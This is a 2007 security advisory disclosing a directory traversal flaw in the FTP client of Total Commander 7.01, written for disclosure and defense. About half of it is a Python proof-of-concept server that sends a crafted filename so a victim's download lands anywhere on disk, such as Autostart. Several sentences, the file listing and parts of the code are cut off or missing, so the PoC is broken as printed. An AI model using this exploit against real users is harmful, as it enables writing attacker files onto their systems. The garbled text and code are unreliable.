Type packetstorm
Reporter Gynvael Coldwind
Modified 2007-09-07T00:00:00


Security Advisory  
Name : 2K7SEPT6 Total Commander 7.01 Remote FTP Client  
Directory Traversal  
Class : Remote Directory Traversal  
Threat level : HIGH  
Discovered : 2007-08-25  
Published : 2007-09-06  
Credit : Gynvael Coldwind  
Vulnerable : 7.01 and prior  
== Abstract ==  
Christian Ghislers Total Commander is a popular Windows file explorer with a  
built-in support for FTP protocol.  
Total Commander is vulnerable to remote file name spoofing leading to local  
directory traversal while downloading a file from a malformed FTP server.  
Successful exploitation may lead to a full scale system compromise.  
== Details ==  
The FTP feature fails to correctly check the name of a file that is to be  
downloaded. This filename can contain backslashes and dots, and these dots and  
backslashes will be shown in the "Download" (Copy used on a file on the FTP  
server) window, and so, the file will be downloaded to a location chosen by the  
To make it worse, Total Commander strips path from the listing window, so that  
these backslashes and dots are not shown in the location window.  
How this is done:  
1. A Total Commander user connects to an FTP server.  
2. The Total Commander starts the FTP procedure:  
USER something  
PASS something  
3. The FTP send the following file list to the Total Commander:  
-rwxr-xr-x 2 ftp ftp 4096 Aug 1 02:28  
4. The Total Commander will strip the backslashes, and will show only  
BackSlashPoC in the lister window.a  
5. The user presses F5 (copy) on the file and Enter. The dots and backslashes  
will be shown there, but the uses in most cases will not notice it (this has  
been tested). If the file is located inside a directory or was selected for  
batch copying the user will never be informed about the additional path  
6. The file is downloaded to the location  
Since more then enough \..\..\ will just bring the path to the disk root, the  
attacker can choose any location on the disk to write the file to. The file can  
for example overwrite a critical system file, or create a file in the Autostart  
See Proof of Concept exploit at the bottom of this advisory.  
== Vendor status and solution ==  
The vendor has been informed and has released a new version (7.02) with this  
issue being fixed.  
It is advised to upgrade Total Commander to the newest version availible.  
== Proof of Concept ==  
# python localhost ftp server  
import socket  
TransferSock = 0  
def sendDirList (sock):  
(DataSock, Address) = TransferSock.accept()  
print "sendDirList: TransferSock accepted a connection"  
sock.send("150 Opening ASCII mode data connection for file list\r\n");  
DataSock.send("-rwxr-xr-x 2 ftp ftp 4096 Aug 1  
02:28 st\\..\\..\\..\\..\\..\\BackSlashPoC\n");  
sock.send("226 Transfer complete.\r\n");  
print "sendDirList: Transfer complete\r\n"  
def sendFile (sock):  
(DataSock, Address) = TransferSock.accept()  
print "sendDirList: TransferSock accepted a connection"  
sock.send("150 Opening BINARY mode data connection for sth (5 bytes)\r\n");  
DataSock.send("Proof of Concept - Remote FTP Client directory  
traversal vulnerability (G.C. - Hispasec)");  
sock.send("226 Transfer complete.\r\n");  
print "sendDirList: Transfer complete\r\n"  
def handleUSER (sock, cmd, argz): sock.send("331 Password required for  
def handlePASS (sock, cmd, argz): sock.send("230 User logged in.\r\n")  
def handleSYST (sock, cmd, argz): sock.send("215 UNIX Type: L8\r\n")  
def handleFEAT (sock, cmd, argz): sock.send("211-Features:\r\n  
MDTM\r\n REST STREAM\r\n211 End\r\n");  
def handleTYPE (sock, cmd, argz): sock.send("200 Type set to " + argz + "\r\n");  
def handlePASV (sock, cmd, argz): sock.send("227 Entering Passive Mode  
def handlePWD (sock, cmd, argz): sock.send("257 \"/ProofOfConcept\" is  
current directory.\r\n")  
def handleLIST (sock, cmd, argz): sendDirList(sock)  
def handleQUIT (sock, cmd, argz):  
def handleRETR (sock, cmd, argz):  
if argz == "/":  
def unknown (sock, cmd, argz): sock.send("550 " + cmd + ": Operation  
not permitted\r\n")  
handlers = {  
'USER': handleUSER,  
'PASS': handlePASS,  
'SYST': handleSYST,  
'FEAT': handleFEAT,  
'TYPE': handleTYPE,  
'PASV': handlePASV,  
'PWD': handlePWD,  
'LIST': handleLIST,  
'QUIT': handleQUIT,  
'RETR': handleRETR  
ControlSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
ControlSock.bind(("", 2021))  
TransferSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
TransferSock.bind(("", 10 * 256 + 10))  
# Control Sock loop  
(ClientSock, Address) = ControlSock.accept()  
ClientSock.send("220 PoCFTPD Server ready.\r\n");  
end = 0  
while not end:  
cmd = ClientSock.recv(1024)  
print "Debug: recv -> " + cmd.strip()  
command = (cmd[0:4]).strip()  
argz = ((cmd.strip())[5:]).strip()  
handlers.get(command, unknown)(ClientSock, command, argz)  
== Disclaimer ==  
This document and all the information it contains is provided "as is",  
without any warranty. Hispasec Sistemas is not responsible for the  
misuse of the information provided in this advisory. The advisory is  
provided for educational purposes only.  
Permission is hereby granted to redistribute this advisory, providing  
that no changes are made and that the copyright notices and  
disclaimers remain intact.  
Copyright (C) 2007 Hispasec Sistemas.  
Gynvael Coldwind  
mailto: gynvael AT vexillium DOT org  
mailto: michael AT hispasec DOT com